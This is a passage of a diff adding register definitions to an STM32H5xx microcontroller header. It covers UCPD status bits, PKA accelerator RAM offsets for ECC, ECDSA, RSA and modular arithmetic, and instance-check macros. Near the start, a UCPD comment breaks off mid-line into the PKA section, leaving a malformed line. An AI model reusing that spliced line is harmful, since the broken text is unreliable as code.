UCPD_SR_TXMSGABT UCPD_SR_TXMSGABT_Msk /*!< Transmit message abort interrupt */ +#define UCPD_SR_HRSTDISC_Pos (4U) +#define UCPD_SR_HRSTDISC_Msk (0x1UL << UCPD_SR_HRSTDISC_Pos) /*!< 0x00000010 */ +#define UCPD_SR_HRSTDISC UCPD_SR_HRSTDISC_Msk /*!< HRST discarded interrupt */ +#define UCPD_SR_HRSTSENT_Pos (5U) +#define UCPD_SR_HRSTSENT_Msk (0x1UL << UCPD_SR_HRSTSENT_Pos) /*!< 0x00000020 */ +#define UCPD_SR_HRSTSENT UCPD_SR_HRSTSENT_Msk /*!< HRST sent interrupt */ +#define UCPD_SR_TXUND_Pos (6U) +#define UCPD_SR_TXUND_Msk (0x1UL << UCPD_SR_TXUND_Pos) /*!< 0x00000040 */ +#define UCPD_SR_TXUND UCPD_SR_TXUND_Msk /*!< Tx data underrun condition interrupt */ +#define UCPD_SR_RXNE_Pos (8U) +#define UCPD_SR_RXNE_Msk (0x1UL << UCPD_SR_RXNE_Pos) /*!< 0x00000100 */ +#define UCPD_SR_RXNE UCPD_SR_RXNE_Msk /*!< Receive data register not empty interrupt */ +#define UCPD_SR_RXORDDET_Pos (9U) +#define UCPD_SR_RXORDDET_Msk (0x1UL << UCPD_SR_RXORDDET_Pos) /*!< 0x00000200 */ +#define UCPD_SR_RXORDDET UCPD_SR_RXORDDET_Msk /*!< Rx ordered set (4 K-codes) detected interrupt */ +#define UCPD_SR_RXHRSTDET_Pos (10U) +#define UCPD_SR_RXHRSTDET_Msk (0x1UL << UCPD_SR_RXHRSTDET_Pos) /*!< 0x00000400 */ +#define UCPD_SR_RXHRSTDET UCPD_SR_RXHRSTDET_Msk /*!< Rx Hard Reset detect interrupt */ +#define UCPD_SR_RXOVR_Pos (11U) +#define UCPD_SR_RXOVR_Msk (0x1UL << UCPD_SR_RXOVR_Pos) /*!< 0x00000800 */ +#define UCPD_SR_RXOVR UCPD_SR_RXOVR_Msk /*!< Rx data overflow interrupt */ +#define UCPD_SR_RXMSGEND_Pos (12U) +#define UCPD_SR_RXMSGEND_Msk (0x1UL << UCPD_SR_RXMSGEND_Pos) /*!< 0x00001000 */ +#define UCPD_SR_RXMSGEND UCPD_SR_RXMSGEND_Msk /*!< Rx message received */ +#define UCPD_SR_RXERR_Pos (13U) +#define UCPD_SR_RXERR_Msk (0x1UL << UCPD_SR_RXERR_Pos) /*!< 0x00002000 */ +#define UCPD_SR_RXERR UCPD_SR_RXERR_Msk /*!< RX Error */ +#define UCPD_SR_TYPECEVT1_Pos (14U) +#define UCPD_SR_TYPECEVT1_Msk (0x1UL << UCPD_SR_TYPECEVT1_Pos) /*!< 0x00004000 */ +#define UCPD_SR_TYPECEVT1 UCPD_SR_TYPECEVT1_Msk /*!< Type C voltage level event on CC1 */ +#define UCPD_SR_TYPECEVT2_Pos (15U) +#define UCPD_SR_TYPECEVT2_Msk (0x1UL << UCPD_SR_TYPECEVT2_Pos) /*!< 0x00008000 */ +#define UCPD_SR_TYPECEVT2 UCPD_SR_TYPECEVT2_Msk /*!< Type C voltage level event on CC2 */ +#define UCPD_SR_TYPEC_VSTATE_CC1_Pos (16U) +#define UCPD_SR_TYPEC_VSTATE_CC1_Msk (0x3UL << UCPD_SR_TYPEC_VSTATE_CC1_Pos) /*!< 0x00030000 */ +#define UCPD_SR_TYPEC_VSTATE_CC1 UCPD_SR_TYPEC_VSTATE_CC1_Msk /*!< Status of DC level on CC1 pin */ +#define UCPD_SR_TYPEC_VSTATE_CC1_0 (0x1UL << UCPD_SR_TYPEC_VSTATE_CC1_Pos) /*!< 0x00010000 */ +#define UCPD_SR_TYPEC_VSTATE_CC1_1 (0x2UL << UCPD_SR_TYPEC_VSTATE_CC1_Pos) /*!< 0x00020000 */ +#define UCPD_SR_TYPEC_VSTATE_CC2_Pos (18U) +#define UCPD_SR_TYPEC_VSTATE_CC2_Msk (0x3UL << UCPD_SR_TYPEC_VSTATE_CC2_Pos) /*!< 0x000C0000 */ +#define UCPD_SR_TYPEC_VSTATE_CC2 UCPD_SR_TYPEC_VSTATE_CC2_Msk /*!>2) /*!< Input modulus number of bits */ +#define PKA_MONTGOMERY_PARAM_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Compute Montgomery parameter output data */ +#define PKA_MONTGOMERY_PARAM_OUT_PARAMETER ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output Montgomery parameter */ + +/* Compute modular exponentiation input data */ +#define PKA_MODULAR_EXP_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent number of bits */ +#define PKA_MODULAR_EXP_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_EXP_IN_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_IN_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ +#define PKA_MODULAR_EXP_IN_EXPONENT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process */ +#define PKA_MODULAR_EXP_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT_BASE ((0x16C8UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT ((0x14B8UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process protected exponentiation*/ +#define PKA_MODULAR_EXP_PROTECT_IN_MODULUS ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus to process protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_PHI ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input phi to process protected exponentiation */ + +/* Compute modular exponentiation output data */ +#define PKA_MODULAR_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_ERROR ((0x1298UL - PKA_RAM_OFFSET)>>2) /*!< Output error of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_OUT_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Output base of the exponentiation */ + +/* Compute ECC scalar multiplication input data */ +#define PKA_ECC_SCALAR_MUL_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input curve prime order n number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_SCALAR_MUL_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' of KP */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_N_PRIME_ORDER ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input prime order n */ + +/* Compute ECC scalar multiplication output data */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Point check input data */ +#define PKA_POINT_CHECK_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_POINT_CHECK_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_POINT_CHECK_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_POINT_CHECK_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_POINT_CHECK_IN_MOD_GF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_POINT_CHECK_IN_MONTGOMERY_PARAM ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Point check output data */ +#define PKA_POINT_CHECK_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ + +/* ECDSA signature input data */ +#define PKA_ECDSA_SIGN_IN_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_SIGN_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_SIGN_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECDSA_SIGN_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_SIGN_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input k value of the ECDSA */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_SIGN_IN_HASH_E ((0x0FE8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_SIGN_IN_PRIVATE_KEY_D ((0x0F28UL - PKA_RAM_OFFSET)>>2) /*!< Input d, private key */ +#define PKA_ECDSA_SIGN_IN_ORDER_N ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA signature output data */ +#define PKA_ECDSA_SIGN_OUT_ERROR ((0x0FE0UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_R ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Output signature r */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_S ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Output signature s */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_X ((0x1400UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point X coordinate */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_Y ((0x1458UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point Y coordinate */ + + +/* ECDSA verification input data */ +#define PKA_ECDSA_VERIF_IN_ORDER_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_VERIF_IN_MOD_NB_BITS ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_VERIF_IN_A_COEFF_SIGN ((0x0468UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_A_COEFF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_MOD_GF ((0x04D0UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_X ((0x0678UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_Y ((0x06D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_X ((0x12F8UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point X coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_Y ((0x1350UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point Y coordinate */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_R ((0x10E0UL - PKA_RAM_OFFSET)>>2) /*!< Input r, part of the signature */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_S ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input s, part of the signature */ +#define PKA_ECDSA_VERIF_IN_HASH_E ((0x13A8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_VERIF_IN_ORDER_N ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA verification output data */ +#define PKA_ECDSA_VERIF_OUT_RESULT ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* RSA CRT exponentiation input data */ +#define PKA_RSA_CRT_EXP_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operands number of bits */ +#define PKA_RSA_CRT_EXP_IN_DP_CRT ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input Dp CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_DQ_CRT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input Dq CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_QINV_CRT ((0x0948UL - PKA_RAM_OFFSET)>>2) /*!< Input qInv CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_PRIME_P ((0x0B60UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime p */ +#define PKA_RSA_CRT_EXP_IN_PRIME_Q ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime q */ +#define PKA_RSA_CRT_EXP_IN_EXPONENT_BASE ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ + +/* RSA CRT exponentiation output data */ +#define PKA_RSA_CRT_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular reduction input data */ +#define PKA_MODULAR_REDUC_IN_OP_LENGTH ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input operand length */ +#define PKA_MODULAR_REDUC_IN_MOD_LENGTH ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus length */ +#define PKA_MODULAR_REDUC_IN_OPERAND ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand */ +#define PKA_MODULAR_REDUC_IN_MODULUS ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Modular reduction output data */ +#define PKA_MODULAR_REDUC_OUT_RESULT ((0xE78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic addition input data */ +#define PKA_ARITHMETIC_ADD_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic addition output data */ +#define PKA_ARITHMETIC_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic subtraction input data */ +#define PKA_ARITHMETIC_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic subtraction output data */ +#define PKA_ARITHMETIC_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic multiplication input data */ +#define PKA_ARITHMETIC_MUL_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic multiplication output data */ +#define PKA_ARITHMETIC_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Comparison input data */ +#define PKA_COMPARISON_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_COMPARISON_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_COMPARISON_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Comparison output data */ +#define PKA_COMPARISON_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular addition input data */ +#define PKA_MODULAR_ADD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_ADD_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 (modulus) */ + +/* Modular addition output data */ +#define PKA_MODULAR_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular inversion input data */ +#define PKA_MODULAR_INV_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_INV_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_INV_IN_OP2_MOD ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 (modulus) */ + +/* Modular inversion output data */ +#define PKA_MODULAR_INV_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular subtraction input data */ +#define PKA_MODULAR_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_SUB_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 */ + +/* Modular subtraction output data */ +#define PKA_MODULAR_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Montgomery multiplication input data */ +#define PKA_MONTGOMERY_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MONTGOMERY_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MONTGOMERY_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MONTGOMERY_MUL_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Montgomery multiplication output data */ +#define PKA_MONTGOMERY_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Generic Arithmetic input data */ +#define PKA_ARITHMETIC_ALL_OPS_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP3 ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Generic Arithmetic output data */ +#define PKA_ARITHMETIC_ALL_OPS_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result for arithmetic operations */ + +/* Compute ECC complete addition input data */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC complete addition output data */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Output result Z coordinate */ + +/* Compute ECC double base ladder input data */ +#define PKA_ECC_DOUBLE_LADDER_IN_PRIME_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_DOUBLE_LADDER_IN_K_INTEGER ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_M_INTEGER ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input 'm' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC double base ladder output data */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_ERROR ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Compute ECC projective to affine conversion input data */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P X coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Y coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Z coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MONTGOMERY_PARAM_R2 ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Compute ECC projective to affine conversion output data */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result x affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result y affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + + +/** @addtogroup STM32H5xx_Peripheral_Exported_macros + * @{ + */ + +/******************************* ADC Instances ********************************/ +#define IS_ADC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S)|| \ + ((INSTANCE) == ADC2_NS)|| \ + ((INSTANCE) == ADC2_S)) + +#define IS_ADC_MULTIMODE_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S)) + + +#define IS_ADC_COMMON_INSTANCE(INSTANCE) (((INSTANCE) == ADC12_COMMON_NS) || \ + ((INSTANCE) == ADC12_COMMON_S)) +/******************************* AES Instances ********************************/ +#define IS_AES_ALL_INSTANCE(INSTANCE) (((INSTANCE) == AES_NS) || ((INSTANCE) == AES_S)) + +/******************************* PKA Instances ********************************/ +#define IS_PKA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == PKA_NS) || ((INSTANCE) == PKA_S)) + +/******************************* CRC Instances ********************************/ +#define IS_CRC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CRC_NS) || ((INSTANCE) == CRC_S)) + +/******************************* DAC Instances ********************************/ +#define 